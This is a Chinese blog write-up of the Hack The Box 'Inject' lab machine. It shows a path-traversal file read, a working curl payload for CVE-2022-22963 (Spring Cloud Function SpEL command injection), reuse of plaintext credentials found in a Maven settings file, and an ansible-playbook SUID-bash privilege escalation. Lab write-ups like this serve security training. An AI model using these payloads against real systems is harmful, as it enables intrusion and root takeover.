HTB-Inject

OverView

说简单也不算简单吧。还是考察的很细。尤其是我真的没有想到可以目录遍历,以为只能读取特点文件,在那里上 ssrf 的字典卡了好久都找不到有效信息。

Useful Tools or Skills

  • jadx 一个极好的用于反编译 jar 文件读取的工具

Enumeration

Nmap

没看出来什么,直接打开 8080 端口

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
|   256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_  256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open  nagios-nsca Nagios NSCA
|_http-title: Home
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web

站点功能很少,主要存在一个文件上传的功能。我传了一个比较大的图片爆出了 500 错误和绝对路径 /var/www/WebApp/src/main/uploads/ 并且报错页面似乎是 tomcat。那么先推测后端使用的是 Java 语言。

尝试了几下发现只允许上传后缀名为 jpg、png、webp 等文件。(其实即使可以上传其他文件也并不一定有用,因为不能保证后端可以执行 jsp)

但是却发现了一个读取上传内容的路径

vmware_tNUhhgxWv6

LFD & Directory traversal

遇到这种 url 直接速速尝试能不能跨目录读取文件,发现成功了。

vmware_NUONrerqs9

这里卡了好久,别人告诉我可以目录遍历,我的天 0.0

vmware_1Y0KjRXcEC

很快的我们通过目录遍历发现了原 jar 文件

vmware_0HIjUVs4lt

CVE-2022-22963 SPEL Inject

但是由于文件太大了,不能够在 Burp Suite 上面显示。因此

curl 10.10.11.204:8080/show_image?img=../../../../../../var/www/WebApp/target/spring-webapp.jar

通过 jadx 进行反编译打开,发现源码并没有什么可以利用的地方,查看一下依赖,用的是 SpringBoot 框架,一般情况下是没有什么漏洞的,但是注意到这个奇怪的地方,他不用父目录的版本依赖,而是自己又挑了一个版本,很奇怪

javaw_tENQU1fdZN

用过 SpringBoot 框架的都知道,这里 Spirng cloud 官方的组件依赖可以不标注版本号。因此很有可能存在问题,我们去查一下。结果查出来了 CVE-2022-22963 — SPEL 命令注入。

影响范围

JDK 9 及以上版本 Spring框架的5.3.0至5.3.17、5.2.0至5.2.19版本,以及旧版本 Tomcat服务器

看看 java 版本,符合 jdk 大于 9

javaw_9G8AKC5a24

但是 spring.cloud.function.definition 并没有在 application.properties 文件中指定,去官网也没有发现默认值。

到后面才发现 functionRouter 是默认的

chrome_r8jXdCXdtr

想了好久都不知道该怎么办,最后还是决定试一下这个 Payload,不行再说。

curl -X POST  http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/shule")' --data-raw 'data' -v

然后读取发现成功了

vmware_koqCU4Zfni

Foothold

然后就是去 https://www.revshells.com/ 找到要用的反弹 shell payload

chrome_aTMgOxU2sU

稍微修改一下 Payload 即可获得 shell。是 frank 用户,/home/frank 中并没有 flag,看样子需要尝试得到 /home 下的另外一个用户 phil 的用户权限。

user.txt

上传 linpeas.sh 并运行,发现了这些文件

vmware_kUOx5jUzaS

读取 /home/frank/.m2/settings.xml 发现了 username 和 Password

vmware_TdglkXz6De

phil:DocPhillovestoInject123

然后我尝试使用 ssh 连上去但是不行。卡了一会后朋友告诉我直接 su phil,然后就可以了

vmware_GHXDP0C3QK

Privilege escalation

上传 pspy 可以看到 root 的进程有点奇怪的任务

jdJMTBGfNh

ansible-playbook

经过一阵子的查找/usr/bin/ansible-playbook privilege escalation 找到了 https://github.com/iamnasef/ansible-privilege-escalation 给出了 payload.yml

---                                                                                                               
- name: shell                                                                                                  
  hosts: localhost
  become: yes

  tasks:
  - name: hack
    shell: "cp /bin/bash . && chmod +sx bash"

使用 cat 命令写文件

vmware_oyREvIx1AA

一会发现执行了命令

vmware_81Nu7doc9Z

成功提权

End

质量还是很不错的靶机。

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇